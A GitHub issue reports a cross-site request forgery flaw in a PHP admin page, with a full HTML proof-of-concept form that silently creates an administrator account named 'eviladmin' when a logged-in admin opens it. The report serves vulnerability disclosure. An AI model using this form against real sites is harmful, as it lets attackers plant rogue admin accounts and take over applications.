Skip to content

There is a CSRF which can create an account with admin's privileges. #256

Open
@C4o

Description

@C4o

After admin logging in,click the following link,eviladmin will be created with admin's privileges.
PoC:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/kli/admin/admin_users.php" method="POST">
      <input type="hidden" name="username" value="eviladmin" />
      <input type="hidden" name="email" value="a11aa&#64;aa&#46;com" />
      <input type="hidden" name="level" value="admin" />
      <input type="hidden" name="password" value="123456" />
      <input type="hidden" name="mode" value="newuser" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions